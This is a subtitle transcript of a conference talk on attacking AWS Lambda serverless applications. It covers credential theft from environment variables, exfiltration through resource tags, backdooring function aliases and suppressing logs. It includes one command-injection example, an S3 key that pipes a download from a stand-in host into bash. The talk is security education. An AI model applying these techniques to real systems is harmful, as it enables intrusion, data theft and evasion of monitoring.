1
00:00:00,000 --> 00:00:13,280
preroll music
2
00:00:13,280 --> 00:00:18,950
Herald: Like in the following talk I'm
happy to introduce Rich Jones. Rich is
3
00:00:18,950 --> 00:00:25,010
gonna talk about what he can do in 60
milliseconds with server-less servers.
4
00:00:25,010 --> 00:00:28,660
And please give a warm
round of applause for Rich!
5
00:00:28,660 --> 00:00:36,350
applause
6
00:00:36,350 --> 00:00:44,010
Rich: Hi everybody! Thank you very much
for having me, for CCC for hosting, for
7
00:00:44,010 --> 00:00:48,940
you guys for coming out! I appreciate it.
My name is Rich Jones. I'm the founder and
8
00:00:48,940 --> 00:00:55,600
CTO of gun.io. We find awesome freelance
gigs for free and open source hackers. I'm
9
00:00:55,600 --> 00:01:02,540
also the author of ZAPPA. Which is the best
damn server-less framework in the world.
10
00:01:02,540 --> 00:01:08,380
It can run any python web application on
AWS lambda. You can build event driven
11
00:01:08,380 --> 00:01:16,140
applications you can connect roughly
500.000 connections per second globally.
12
00:01:16,140 --> 00:01:22,170
Without any operations support right
out of the box for your existing apps.
13
00:01:22,170 --> 00:01:29,320
I first announced it about 6 months
ago actually at Hack & Tell event at
14
00:01:29,320 --> 00:01:34,630
C-Base and now it is like used in
production by all sorts of big companies
15
00:01:34,630 --> 00:01:41,020
which is pretty cool! You should try it out.
Welcome to my talk, it is called Gone in
16
00:01:41,020 --> 00:01:46,700
60 Milliseconds! aka having a sexy title
gets your talk accepted at conferences.
17
00:01:46,700 --> 00:01:53,310
aka Intrusion and Exfiltration in
Server-less Architectures. Whoooh. What the
18
00:01:53,310 --> 00:02:01,939
hell does that mean? Quick poll. Who here
is familiar with AWS Lambda? Okay, so
19
00:02:01,939 --> 00:02:08,130
about half, that's pretty good. That's
what I was expecting. Okay, great. For the
20
00:02:08,130 --> 00:02:14,650
unfamiliar, the good old days of servers.
You would have the web server it would
21
00:02:14,650 --> 00:02:19,070
connect to the database and that was
pretty much it it would – you'd have the
22
00:02:19,070 --> 00:02:23,910
server. You'd have one server, you'ld
probably run lots of services off that
23
00:02:23,910 --> 00:02:30,710
server so if you found a debug panel or
something like that, you could use one of
24
00:02:30,710 --> 00:02:35,530
your favorite tools, you could get a shell
and basically run a mock I know is the
25
00:02:35,530 --> 00:02:44,140
best. With the server-less architecture
this one example it uses instead of a
26
00:02:44,140 --> 00:02:49,720
permanent web-server it uses this service
called AWS Lambda which provides no
27
00:02:49,720 --> 00:02:55,890
permanent infrastructure Your entire
application function is held in cache by
28
00:02:55,890 --> 00:03:02,570
Amazon AWS and it's spawned and destroyed
on a per-request basis. So in the space of
29
00:03:02,570 --> 00:03:07,780
a single web request or whatever function
request, it creates the container, returns
30
00:03:07,780 --> 00:03:13,110
and destroys the container. The code
execution is triggered by a variety of
31
00:03:13,110 --> 00:03:19,440
cloud event sources every request is in an
isolated container. I'm gonna put an
32
00:03:19,440 --> 00:03:24,700
asterisk next to next to isolated as you
see. The big advantage for the company is
33
00:03:24,700 --> 00:03:29,030
that it's super scalable. So, because one
request is one server it means that 10
34
00:03:29,030 --> 00:03:32,342
requests is 10 servers and so on and so on
and so on. So you can scale this all the
35
00:03:32,342 --> 00:03:37,370
way up to like trillions of events per
year which is pretty cool. It's also much
36
00:03:37,370 --> 00:03:44,220
less expensive because you pay by the
millisecond .000002 dollars per
37
00:03:44,220 --> 00:03:49,570
millisecond which interestingly is now the
same in euros keep an eye on that,
38
00:03:49,570 --> 00:03:56,930
I was surprised by. Security patches to the
operating system are automatic because
39
00:03:56,930 --> 00:04:00,630
Amazon handles them so there is basically
you don't worry about the operating system
40
00:04:00,630 --> 00:04:05,920
at all you only worry about your single
function which saves time, saves money,
41
00:04:05,920 --> 00:04:11,920
and lets you fire all people who work in
OPS. Some common patterns that you see for
42
00:04:11,920 --> 00:04:16,798
companies and, you know, services are
using lambda. One is just the web server
43
00:04:16,798 --> 00:04:22,950
this is like if you already use zappa for
a django CMS or something like this. It's
44
00:04:22,950 --> 00:04:29,460
just API gateway, another AWS service to
lambda, which is the one we saw before
45
00:04:29,460 --> 00:04:32,830
Another common way that people are using
this for asynchronous data processing.
46
00:04:32,830 --> 00:04:37,330
So if you have a file upload, that will then
execute the lambda function which will
47
00:04:37,330 --> 00:04:44,610
store the result in a DynamoDB store and
then have that trigger the upload to the
48
00:04:44,610 --> 00:04:53,909
S3 return bucket. So this is kind of like
a very simple microservice type framework
49
00:04:53,909 --> 00:05:00,320
that you can use lambda for. Chat bots is
another common use case So if you having a
50
00:05:00,320 --> 00:05:05,000
SMS Message or an e-mail exchange with a
robot, it could be through lambda or one
51
00:05:05,000 --> 00:05:10,759
of those cool new like echo things. Maybe
we will be able to like actually hack
52
00:05:10,759 --> 00:05:15,770
through those in the future using some of
these techniques. So you can kind of see
53
00:05:15,770 --> 00:05:21,780
that there. And the big one that a lot of
companies are using like fintech and
54
00:05:21,780 --> 00:05:28,340
medical and science companies are using
for is is kind of the driving engine for
55
00:05:28,340 --> 00:05:32,289
the state machine in big data processing.
This is kind of the interesting one that
56
00:05:32,289 --> 00:05:39,240
we get into a little bit more later in the
talk So the lambda kind of drives the
57
00:05:39,240 --> 00:05:47,069
queue which is how the like big data
processing like compute cluster is knowing
58
00:05:47,069 --> 00:05:51,840
what to do. And there is loads more of
these patterns but those are some of the
59
00:05:51,840 --> 00:05:57,060
ones that I've seen pretty commonly. So
when you try to attack these kind of
60
00:05:57,060 --> 00:06:01,650
applications it probably won't work. And
even if it does work, it will shut down
61
00:06:01,650 --> 00:06:07,629
immediately because they live in these
short lived isolated container which is
62
00:06:07,629 --> 00:06:12,749
no fun. The container dies after the
function returns. Oh no! What does that
63
00:06:12,749 --> 00:06:16,620
mean for us? Us hackers. I mean it is
harder to infiltrate because there is less
64
00:06:16,620 --> 00:06:21,680
common code most of the stuff is custom so
far. You can't use the same wordpress
65
00:06:21,680 --> 00:06:27,419
vulnerability over and over again. The
services are isolated, the functions are
66
00:06:27,419 --> 00:06:33,680
isolated, there is no users to really
escalate on the system. There's no
67
00:06:33,680 --> 00:06:37,870
sysadmins to, you know, do your cool cron
tricks or whatever, for gaining
68
00:06:37,870 --> 00:06:44,940
escalation. It's also harder to persist
our malware because it immediately dies as
69
00:06:44,940 --> 00:06:49,910
soon as the container closes. It is also a
read-only filesystem, so we can't hide our
70
00:06:49,910 --> 00:06:56,229
files deep in the operating system And
it's only a sub-second lifecycle for the
71
00:06:56,229 --> 00:07:01,439
entire container anyway. There is no
initialization system to infect because
72
00:07:01,439 --> 00:07:08,169
that is all taken care of by amazon and we
can't get at it. It is also harder to
73
00:07:08,169 --> 00:07:12,779
exfiltrate, because there is a thing
called the virtual private cloud AWS
74
00:07:12,779 --> 00:07:18,259
provides. There's also function specific
roles which means a very strict
75
00:07:18,259 --> 00:07:24,690
permissioning system. A lot times we can't
get a reverse shell because there is no network
76
00:07:24,690 --> 00:07:30,400
access. So basically sad face. Oh no,
we're totally boned!
77
00:07:30,400 --> 00:07:38,030
No we're not, hell not, dog. When Bezos
closes a door, he opens a window.
78
00:07:38,030 --> 00:07:46,950
laughter
applause
79
00:07:46,950 --> 00:07:53,259
So we gonna learn some recon, some
infiltration, some exploitation, some
80
00:07:53,259 --> 00:08:01,090
exfiltration and a little bit of cleanup!
Part 0: Recon aka How the hell do we know
81
00:08:01,090 --> 00:08:06,389
what we're attacking? There's gonna be two
attack surfaces. An outer and inner attack
82
00:08:06,389 --> 00:08:14,430
surface for a lambda function. The outer
attack surfaces are the API Gateway so if
83
00:08:14,430 --> 00:08:20,569
you look at the headers and you see that
it's serving dynamic content from
84
00:08:20,569 --> 00:08:26,340
CloudFront, that might an indication that
you're dealing with API Gateway.
85
00:08:26,340 --> 00:08:30,430
File uploads is pretty easy if you look at
whatever the upload endpoint is and you
86
00:08:30,430 --> 00:08:35,179
look at headers that says it is S3 that
probably means that it's S3. If you look at
87
00:08:35,179 --> 00:08:38,620
the email headers that you you're
communication to the function with you can
88
00:08:38,620 --> 00:08:44,550
see that it is Amazon SES so that is
pretty obvious. There is also the inner
89
00:08:44,550 --> 00:08:49,060
attack surface. So these are services that
we can't access directly, but provide
90
00:08:49,060 --> 00:08:54,630
event sources for the function, so this
can mean a whole bunch of stuff, so queues
91
00:08:54,630 --> 00:08:59,250
if there are a lot of long running tasks
and it's on AWS, it is possible that they
92
00:08:59,250 --> 00:09:05,480
are using the SQS queing system. But it
can also mean database events, streams of
93
00:09:05,480 --> 00:09:10,480
information, user events, so logins and
user creations and stuff like that can
94
00:09:10,480 --> 00:09:17,710
also be an event source. And the log
system itself can provide an event source.
95
00:09:17,710 --> 00:09:25,980
Part 1 infiltration aka how the hell are
we gonna weaponize all that? So lambda
96
00:09:25,980 --> 00:09:30,990
functions essentially what the application
is, is kind of like a blue ball machine here.
97
00:09:30,990 --> 00:09:37,770
What we call Rube Goldberg machines.
I just learned, for the translators, that
98
00:09:37,770 --> 00:09:43,200
you guys call these nonsense machines.
Essentially lots of little functions and a
99
00:09:43,200 --> 00:09:48,080
lot of passing information between them.
So to figure out what's going on, we're
100
00:09:48,080 --> 00:09:54,560
going to use a process of destructive
mechanics aka dropping a bolt into the
101
00:09:54,560 --> 00:09:58,330
engine and then listening to the sound
that it makes to try to figure out what is
102
00:09:58,330 --> 00:10:06,130
going on inside. The TL;DR of that is we
gonna attack the event sources themselves,
103
00:10:06,130 --> 00:10:10,850
we're going to fire off every type of
cloud event service that we can and
104
00:10:10,850 --> 00:10:18,010
basically see what shakes out. The usual
suspects for infection, unsanitized input,
105
00:10:18,010 --> 00:10:25,090
deserialization bugs of all, you know all
varieties, server side script injection,
106
00:10:25,090 --> 00:10:30,280
malicious binary files, and if it is a web
server, most of your favorite web
107
00:10:30,280 --> 00:10:35,660
application type exploits. So just as a
very trivial example of the kind of things
108
00:10:35,660 --> 00:10:43,630
that you might see here, So here is some
trivially vulnerable code it's connecting
109
00:10:43,630 --> 00:10:51,600
to an S3 bucket, it's going over the items
and it's calling some process on the keys
110
00:10:51,600 --> 00:10:59,310
that are in the bucket. But what happens
if we create an object called: "; curl -s
111
00:10:59,310 --> 00:11:04,940
exploit.server.xyz | bash" well than
that's gonna expand because it is just
112
00:11:04,940 --> 00:11:13,200
using the key name to call, you know, our
exploit code on the lambda function.
113
00:11:13,200 --> 00:11:22,160
Hurray! we did it! Part 2 exploitation aka
how can we escalate our infection? aka
114
00:11:22,160 --> 00:11:28,810
what the hell is a lambda? aka what's
worth stealing? So if we actually find,
115
00:11:28,810 --> 00:11:31,970
you know, if we just look at the operating
system of a lambda, now that we're able to
116
00:11:31,970 --> 00:11:36,730
execute commands on it. Well that won't
work as we don't have a shell, everything
117
00:11:36,730 --> 00:11:46,150
on lambda had this event context pattern
in it, whatever but if we do the find and
118
00:11:46,150 --> 00:11:52,680
we look at it, it pretty much looks like
standard redhat 6 installation it's got
119
00:11:52,680 --> 00:11:57,760
python 2.7, interestingly it has python
3.4 on it, it's got node, it's got perl,
120
00:11:57,760 --> 00:12:04,140
it's got gcc, it's got all you know, stuff
that we like. Which is pretty good. If we
121
00:12:04,140 --> 00:12:08,390
look at the system even further, we'll see
that it's running an operating system
122
00:12:08,390 --> 00:12:14,890
called Amazon Linux, which is the default
for EC2, so maybe it's an EC2 server.
123
00:12:14,890 --> 00:12:20,870
If it's an EC2 server, can we access the
metainfo server? That's a good idea! For
124
00:12:20,870 --> 00:12:25,521
For those who don't know about the meta-
data server, from Amazon docs: Instance
125
00:12:25,521 --> 00:12:29,330
metadata is data about your instance that
you can use to configure or manage the
126
00:12:29,330 --> 00:12:33,450
running instance, anyone who can access
the instance can view its metadata.
127
00:12:33,450 --> 00:12:38,220
Therefore, you should take suitable
precautions to protect sensitive data aka
128
00:12:38,220 --> 00:12:41,620
don't get hacked, because people can look
at this stuff. We can figure out all this
129
00:12:41,620 --> 00:12:46,331
information including keys and users and
security groups so, you know, really good,
130
00:12:46,331 --> 00:12:53,280
good intel. What happens if we try to
access the server? It doesn't work, so,
131
00:12:53,280 --> 00:12:57,170
sorry. But that's a good trick to remember
if you are attacking EC2, that you can get
132
00:12:57,170 --> 00:13:01,899
a lot of information out of the metainfo
server. Now you're thinking, well let's take a
133
00:13:01,899 --> 00:13:06,040
look at the environment, let's look around
what's in the environment variables.
134
00:13:06,040 --> 00:13:10,360
Quite a lot actually including some inter-
esting stuff like session tokens, security
135
00:13:10,360 --> 00:13:17,080
tokens, access key IDs and secret access
keys. So that's pretty cool. What are
136
00:13:17,080 --> 00:13:25,260
those? Enter IAM, so this is Amazons
identity and access management system
137
00:13:25,260 --> 00:13:32,670
which provides per resource authentication
and authorisation definition. So basically
138
00:13:32,670 --> 00:13:39,370
1 task is gonna have 1, you know, set of
authorisation to perform its functions.
139
00:13:39,370 --> 00:13:46,470
It sounds bad, it is. Like it makes our
job a lot harder. The good news is that
140
00:13:46,470 --> 00:13:51,260
it's super easy to fuck up! Pretty much
everybody who's using IAM has probably
141
00:13:51,260 --> 00:13:56,290
fucked up. Especially if you read the
documentations which Amazon provides which
142
00:13:56,290 --> 00:14:02,930
is terrible, or even badder if they got
their information from the AWS forum where
143
00:14:02,930 --> 00:14:09,170
you can find like real gems of wisdom
about give everybody access to everything,
144
00:14:09,170 --> 00:14:13,640
which is nice. So full disclosure,
everything all the fun stuff that we're
145
00:14:13,640 --> 00:14:20,000
gonna do, does depend on them having
some misconfigured IAM even subtly
146
00:14:20,000 --> 00:14:26,780
misconfigured IAM which isn't as cool, I
have to admit but it's pretty common, so I
147
00:14:26,780 --> 00:14:32,610
don't think it's unreasonable to have
that, be part of our attack criteria.
148
00:14:32,610 --> 00:14:38,600
So what the keys that we saw, were part of
the lambda execution policy which uses
149
00:14:38,600 --> 00:14:43,670
this permission called iam:PassRole
basically you take a predefined policy for
150
00:14:43,670 --> 00:14:48,120
what a function is allowed to do. It
creates a temporary user with those
151
00:14:48,120 --> 00:14:52,930
permissions and gives the credentials for
that user into the userspace in those
152
00:14:52,930 --> 00:14:59,820
environment variables that we saw. So this
is one of the ones that Amazon recommends,
153
00:14:59,820 --> 00:15:07,590
this is the AWS VPCAccessExecutionRole
this is from Amazons documentation and
154
00:15:07,590 --> 00:15:13,880
this actually provides some interesting
things that we're gonna be able to use.
155
00:15:13,880 --> 00:15:19,200
Resource:* is a great one because that
means we have access to everything
156
00:15:19,200 --> 00:15:23,360
available to the account We will need to
create log groups and streams, which is
157
00:15:23,360 --> 00:15:27,320
kind of interesting. Describing the
network interface is also super
158
00:15:27,320 --> 00:15:31,670
interesting for us. And this will come in
handy later. Okay, so we can describe the
159
00:15:31,670 --> 00:15:37,000
network What about actually like infecting
the application source? Like we wanna add
160
00:15:37,000 --> 00:15:40,300
a backdoor. But first, where does the code
live? So we check the environment
161
00:15:40,300 --> 00:15:48,910
variables again we see this key value for
LAMBDA_TASK_ROOT which is good so we will
162
00:15:48,910 --> 00:15:54,450
just cat our backdoor into the application
No that is not gonna work. Sad face,
163
00:15:54,450 --> 00:15:59,601
because it's a read-only filesystem.
And even if you could, write to that, you
164
00:15:59,601 --> 00:16:05,360
know, write to the filesystem, it's not
gonna persist for other users who, to call
165
00:16:05,360 --> 00:16:09,370
the function because it's not cached in
memory so it would only live for the span
166
00:16:09,370 --> 00:16:14,620
of a single HTTP request which we don't
care about. But, I got all of these cool,
167
00:16:14,620 --> 00:16:20,810
like hacker tools I wanna install on the
system how do I do that? Fortunately there
168
00:16:20,810 --> 00:16:25,250
is /tmp space on the disk because some,
you know, normal applications are gonna
169
00:16:25,250 --> 00:16:31,650
need to read and write files and stuff so
/tmp is totally readable and it works as
170
00:16:31,650 --> 00:16:39,990
we'd expected to. Amazon describes this as
ephemeral disk capacity. But ephemeral
171
00:16:39,990 --> 00:16:46,560
isn't quite true actually, because this is
how lambda executions are not completely
172
00:16:46,560 --> 00:16:54,070
isolated. For performance reasons they're
actually cached in Amazons memory across
173
00:16:54,070 --> 00:17:00,920
different executions. So because /tmp is a
ram disk, and because ram is cached that
174
00:17:00,920 --> 00:17:07,730
means that /tmp is cached as well, so if
we can store our tools across multiple
175
00:17:07,730 --> 00:17:14,299
executions. Yay! But the caveat for that is
that we have to keep the function warm in
176
00:17:14,299 --> 00:17:20,780
memory by calling it every so often That
length of time is 4 minutes, 30 seconds
177
00:17:20,780 --> 00:17:25,329
Somebody violated an NDA to tell you that,
don't ask me
178
00:17:25,329 --> 00:17:28,009
laughing
179
00:17:28,009 --> 00:17:33,059
applause
180
00:17:33,059 --> 00:17:36,630
What's cool is this actually can also
apply to long running processes aswell.
181
00:17:36,630 --> 00:17:43,129
It won't keep the function open, but it
will, kind of, pause the process and then
182
00:17:43,129 --> 00:17:51,549
reopen it on the next execution. So now we
can install, if we have linux x86_64
183
00:17:51,549 --> 00:17:56,980
compiled versions of all our favorite
tools we could put them on to the lambda
184
00:17:56,980 --> 00:18:02,320
function and start calling it. Okay, so
now we got some keys, we got some tools,
185
00:18:02,320 --> 00:18:07,549
what can we do? So the first thing that we
probably wanna do, is just see what we're
186
00:18:07,549 --> 00:18:14,940
allowed to do. Using the AWS CLI tool we
can call this code and we will get back a
187
00:18:14,940 --> 00:18:21,819
policy, and if we're lucky, it 'll be
** and then we can do whatever we want.
188
00:18:21,819 --> 00:18:28,890
Jackpot! We can create a new admin user
and pillage all the databases basically,
189
00:18:28,890 --> 00:18:36,759
it's game over! Yeah right! Maybe it'll
happen probably yeah right. A very brief
190
00:18:36,759 --> 00:18:42,660
interlude. If you do get the jackpot, if
you are looking at Facebook's AWS usage and
191
00:18:42,660 --> 00:18:49,380
you get *****. Don't sell the user info to
spammers. Don't claim a bug bounty. Don't
192
00:18:49,380 --> 00:18:55,789
just like use their creditcard to mine
bitcoin. Don't tell, you know, your
193
00:18:55,789 --> 00:19:02,370
favorite TLA. Don't even send all the
information to Julian, he's busy. Bug
194
00:19:02,370 --> 00:19:07,260
bounties are boring. Espionage is boring.
I'm tired of all this like spy vs spy stuff.
195
00:19:07,260 --> 00:19:12,689
Use your skills of infection for awesome.
Put up a bad-ass hacking crew name, you know.
196
00:19:12,689 --> 00:19:15,549
laughing
197
00:19:15,549 --> 00:19:19,570
Put spooky skulls, put a bunch of
spooky skulls on facebook.
198
00:19:19,570 --> 00:19:25,370
Put your IRC homies, know what's up
applause
199
00:19:25,370 --> 00:19:32,220
I'm pretty serious about this, actually.
Like I think the word losing some like
200
00:19:32,220 --> 00:19:37,070
aesthetic quality to our culture in
pursuit of like money and like you know,
201
00:19:37,070 --> 00:19:43,950
careers and stuff like that. But I think
the aesthetic value actually has like more
202
00:19:43,950 --> 00:19:49,309
worth and that over time is like, the
broader community begins to respect like
203
00:19:49,309 --> 00:19:54,760
our aesthetic contributions, like the
those hacks will actually be worth more in
204
00:19:54,760 --> 00:20:02,510
the long run than any bug bounty that you
'll get now. So like keep it real, anyway,
205
00:20:02,510 --> 00:20:03,620
that was my side.
206
00:20:03,620 --> 00:20:09,010
applause
207
00:20:09,010 --> 00:20:17,080
So far more likely than ., you gonna get
some kind of like strict permission, like
208
00:20:17,080 --> 00:20:23,179
the ability to access S3 objects, or the
the ability to access the database, or
209
00:20:23,179 --> 00:20:29,879
some combination thereof using various,
different cloud services available. How
210
00:20:29,879 --> 00:20:34,149
can we use that for nefarious purposes you
wondering. That's a great question. Part 3:
211
00:20:34,149 --> 00:20:41,809
Exfiltration aka take the money and run
aka the fun part. TL;DR when you don't have
212
00:20:41,809 --> 00:20:46,610
a direct network connection, to the things
that you wanna access, because you using a
213
00:20:46,610 --> 00:20:52,110
cloud provider, you can use tags, meta
information, and the cloud services
214
00:20:52,110 --> 00:20:58,580
themselves to shuttle information out of
the cloud. So easy mode for instance, if we
215
00:20:58,580 --> 00:21:04,679
see that we have SES permissions, send,
use the email, send, you know, we have a
216
00:21:04,679 --> 00:21:08,029
single function that will let us send an
email out because it's a cloud provider
217
00:21:08,029 --> 00:21:14,080
that has an e-mail service. Or send a SMS,
you know, you could actually, you can hack
218
00:21:14,080 --> 00:21:21,080
something and get the results back to your
virtual cellphone. Slightly harder, if you
219
00:21:21,080 --> 00:21:27,630
just have S3 objects, you could, you know,
zip up the source of the application, put
220
00:21:27,630 --> 00:21:37,470
it on S3 and get it out that way. The fun
thing is VPC exfiltration. So this is the
221
00:21:37,470 --> 00:21:40,320
architecture that we were talking about
before It's a simple vibration but this is
222
00:21:40,320 --> 00:21:46,409
this is a pretty common architecture for
big data using lambda. What is a VPC?
223
00:21:46,409 --> 00:21:50,850
Great question! Amazon VPC provides
advanced security features such as
224
00:21:50,850 --> 00:21:55,529
security groups and network access control
lists to enable inbound and outbound
225
00:21:55,529 --> 00:22:01,580
filtering at the instance level and subnet
level. Sounds bad. It is. The good news.
226
00:22:01,580 --> 00:22:08,009
Super easy to fuck up! Especially if you
read Amazons old docs and the AWS forum.
227
00:22:08,009 --> 00:22:16,309
So lambda has access to these VPC resources.
aka Lambda is our VPC hole puncher.
228
00:22:16,309 --> 00:22:20,610
If you're, you know, depending on how
they've implemented it, this may actually
229
00:22:20,610 --> 00:22:27,269
mean that Amazon can access your internal
corporate network, which is pretty cool.
230
00:22:27,269 --> 00:22:30,970
But we don't actually even need to use the
network to do that, so I'm not gonna show
231
00:22:30,970 --> 00:22:36,429
you how to do that one, you figure that
out on your own, to exfil from a VPC
232
00:22:36,429 --> 00:22:42,529
without touching the VPC network. So this
is our architecture. Step 1, upload the
233
00:22:42,529 --> 00:22:49,590
malicious file, like I've indicated here
with a cool cyber skull. This will give us
234
00:22:49,590 --> 00:22:56,379
code execution in the Lambda environment.
We gonna put out a bunch of canaries. So
235
00:22:56,379 --> 00:23:02,519
we're gonna try calling SMS, e-mail, DNS,
S3, queues, everything that is available
236
00:23:02,519 --> 00:23:07,049
to us, just try to put some information
out that we can read back. In this case we
237
00:23:07,049 --> 00:23:12,960
see that we can type our results into the
bucket, so we can get information that way.
238
00:23:12,960 --> 00:23:18,550
So we have bidirectional communication
to an owned lambda service.
239
00:23:18,550 --> 00:23:24,250
When we use the keys that we've exfiltrated
that way, we look at the policy,
240
00:23:24,250 --> 00:23:29,879
we see that we have the lambda VPC
access execution role from earlier, with
241
00:23:29,879 --> 00:23:35,190
resource * which is nice and our
DescribeNetworkInterfaces create network
242
00:23:35,190 --> 00:23:38,809
interfaces permessions that we saw
earlier, that Amazon recommends as well as
243
00:23:38,809 --> 00:23:46,150
simple S3 and SQS access just for the
necessary functions that we want for the
244
00:23:46,150 --> 00:23:53,330
application. Our target in this case is the
database which is still inside the VPC, so
245
00:23:53,330 --> 00:23:58,850
we no access to, direct access to the
database from our lambda execution
246
00:23:58,850 --> 00:24:03,899
environment because it's all wrapped up in
this VPC. But what we can do is, we can
247
00:24:03,899 --> 00:24:11,940
add things to the SQS queue. And if they're
using Celery, actually uses pickle, is a
248
00:24:11,940 --> 00:24:17,029
way to shuttle information about – for the
javascript developers, it's a bit like
249
00:24:17,029 --> 00:24:23,999
using eval to figure out javascript. So if
we're able to add something, to, or, this
250
00:24:23,999 --> 00:24:27,989
is kind of manoeuvrer, like this is use
whatever technique that,
251
00:24:27,989 --> 00:24:33,789
you know, you prefer from there
to get your code on to the cluster
252
00:24:33,789 --> 00:24:40,070
but we're gonna use this pickle celery bug
to create an item on the queue,
253
00:24:40,070 --> 00:24:45,909
a malicious item on the queue, that will
then be picked up and run on the compute
254
00:24:45,909 --> 00:24:51,470
cluster. So now we have code execution on
the cluster, but we have no way to
255
00:24:51,470 --> 00:24:56,389
actually directly communicating to it,
because we're locked out of the VPC. What
256
00:24:56,389 --> 00:25:01,549
do we do now? So the interesting this is
actually use meta information about the
257
00:25:01,549 --> 00:25:08,330
VPC to exfil the information that we want,
so because we have the ability to describe
258
00:25:08,330 --> 00:25:17,860
network interfaces, inside the VPC, we
call, we add tags, to this, to the EC2
259
00:25:17,860 --> 00:25:22,149
instances and the network interfaces to
which they communicate. A lot of times
260
00:25:22,149 --> 00:25:26,820
they have this permission because tagging
is useful for the admins who wanna see
261
00:25:26,820 --> 00:25:33,700
what groups are owning what So we can add
the meta information about that to the
262
00:25:33,700 --> 00:25:38,389
network interface itself because the
lambda has the ability to read these tags
263
00:25:38,389 --> 00:25:43,140
back out, we can then get the information
that we want, we can put it through the S3
264
00:25:43,140 --> 00:25:49,999
and we can extract the information
this way. So nice! This also works for the
265
00:25:49,999 --> 00:25:56,000
application binaries because we can encode
something in Base64 and then put that in
266
00:25:56,000 --> 00:26:03,669
the tag set, and get that out that way
Which is nice! Similarly is the compute
267
00:26:03,669 --> 00:26:08,509
cluster able to modify DNS entries that we
can read, or is it able to create a named
268
00:26:08,509 --> 00:26:14,009
log groups, is it able to create queues,
is it able to create buckets, etc, etc be
269
00:26:14,009 --> 00:26:19,480
creative with the AWS services the're
available, there is lots! And a single
270
00:26:19,480 --> 00:26:23,149
overlapping permission can be enough In
fact, even a single overlapping service
271
00:26:23,149 --> 00:26:29,799
can be enough for information exfiltration
for instance you can encode information in
272
00:26:29,799 --> 00:26:34,080
the length of the queue and then read that
back out you could use the same thing with
273
00:26:34,080 --> 00:26:37,889
the number of number of network interfaces
that are available besides of the
274
00:26:37,889 --> 00:26:43,419
database, anything like that. So that's
pretty cool! What if they fix the bug?
275
00:26:43,419 --> 00:26:48,039
Persistence, aka how can we permanently
infect a system with no permanent
276
00:26:48,039 --> 00:26:54,210
infrastructure? aka abusing cloud vendor
features, continued. One neat lambda
277
00:26:54,210 --> 00:26:57,639
feature that is available is the idea of
function aliasing so Amazon will
278
00:26:57,639 --> 00:27:02,100
automatically give you like labels for the
available functions, and store all of the
279
00:27:02,100 --> 00:27:07,249
old functions with aliases for you, which
is useful for, you know, application
280
00:27:07,249 --> 00:27:11,279
maintainers because they can provide
rollbacks and something goes wrong, they
281
00:27:11,279 --> 00:27:15,509
can tag their dev and prod and staging
environments and stuff like that as an
282
00:27:15,509 --> 00:27:22,059
audit trail. But we can also use it to
persist our malware. So we can get the
283
00:27:22,059 --> 00:27:26,989
function, get the source code for any
function that's available this way, we can
284
00:27:26,989 --> 00:27:33,450
upload a backdoored version of that and
then alias it to one of those previous
285
00:27:33,450 --> 00:27:38,809
functions and hide it there if we need to
access it without having it, be uploaded
286
00:27:38,809 --> 00:27:42,350
every time. An alternate route, which is
especially useful if the application is
287
00:27:42,350 --> 00:27:47,029
being deployed by travis, or some CI
system, anything that uses CloudFormation.
288
00:27:47,029 --> 00:27:54,080
CloudFormation requires the code to be
hosted on S3 permanently, for doing it's
289
00:27:54,080 --> 00:27:59,130
update function. So if we just infect the
code that's on S3, the next time that the
290
00:27:59,130 --> 00:28:06,590
CI updates the application stack, it'll
use our infected code, which is useful.
291
00:28:06,590 --> 00:28:11,109
This is cool because if we have access to
the code buckets, than we can actually use
292
00:28:11,109 --> 00:28:16,570
a single infected lambda to infect all the
other lambda functions that are available
293
00:28:16,570 --> 00:28:23,159
in the stack. One better is to actually
treat the entire model serverlessly.
294
00:28:23,159 --> 00:28:29,630
So imagine if we have a simple application
using the Foo lambda that's triggered when
295
00:28:29,630 --> 00:28:35,960
there is a SQS event. Which is actually
gonna be one function and then all the old
296
00:28:35,960 --> 00:28:42,610
functions aliased all the way back to
function 1. So if we can infect this one
297
00:28:42,610 --> 00:28:50,119
with some bug that we're exploiting, and
we're able to create a backdoored function
298
00:28:50,119 --> 00:28:54,450
we can use the same code, create the new
function, but it's backdoored, and then
299
00:28:54,450 --> 00:29:00,419
alias that back to the first function
that'll now contain our backdoored code,
300
00:29:00,419 --> 00:29:07,109
we can create an event trigger, so that
whenever new code is updated, is submitted
301
00:29:07,109 --> 00:29:12,029
to the S3 bucket where the functions are
registered, that will actually trigger the
302
00:29:12,029 --> 00:29:19,320
execution of our malware, which will get
the code of the new function infected with
303
00:29:19,320 --> 00:29:24,840
our backdoor, recreate the function,
delete the new one, and then we have, you
304
00:29:24,840 --> 00:29:30,390
know, our backdoored version of the latest
code that is permanently available for
305
00:29:30,390 --> 00:29:37,960
every request, new code uploads are the
trigger for reinfection of our malware.
306
00:29:37,960 --> 00:29:42,960
Part 5 cleaning up I'll go fast here, is
boring. Full disclosure, I'm not very
307
00:29:42,960 --> 00:29:49,769
tidy, so be careful with all this stuff if
you need to be real stealthy. All lambda
308
00:29:49,769 --> 00:29:53,230
executions have unique execution IDs, if
you just write them down, you can delete
309
00:29:53,230 --> 00:29:58,320
them later. But the errors there still
gonna trigger the CloudWatch alarms, so
310
00:29:58,320 --> 00:30:04,569
can you hop off the log group, that's also
available in the environment variables?
311
00:30:04,569 --> 00:30:09,489
No you can't, but you can change the
retention policy, so, maybe we can just
312
00:30:09,489 --> 00:30:14,210
have it's own, and hopefully they don't
look at logs. That's not very good, a
313
00:30:14,210 --> 00:30:20,539
better technique is actually to don't log
anything to begin with. So because these
314
00:30:20,539 --> 00:30:25,679
functions have extremely limited memory
size, cause they only build to do one
315
00:30:25,679 --> 00:30:31,859
thing, if we exhaust the memory of the
function, there's not enough memory to
316
00:30:31,859 --> 00:30:39,119
actually do the logging properly, so if we
wrap all of our canary code inside of
317
00:30:39,119 --> 00:30:44,299
exception handlers, that'll then just
allocate all the memory that's available,
318
00:30:44,299 --> 00:30:49,229
then it doesn't count as an invocation
error and it won't actually register ...
319
00:30:49,229 --> 00:30:54,889
applause
320
00:30:54,889 --> 00:31:00,160
Shout out to Dee, he told me that trick,
my friend. One copy out of this, one
321
00:31:00,160 --> 00:31:06,450
pattern is to... time did go super fast...
if they are logging everything, the flip
322
00:31:06,450 --> 00:31:09,630
side of that is that they're logging
everything so that you can go and get
323
00:31:09,630 --> 00:31:16,190
everybodys password and stuff, so that's
fun. Part 6 synthesis happy Christmas,
324
00:31:16,190 --> 00:31:24,379
everybody, ho ho ho, I'm Santa Claus and
I'm giving you a present I'm giving you an
325
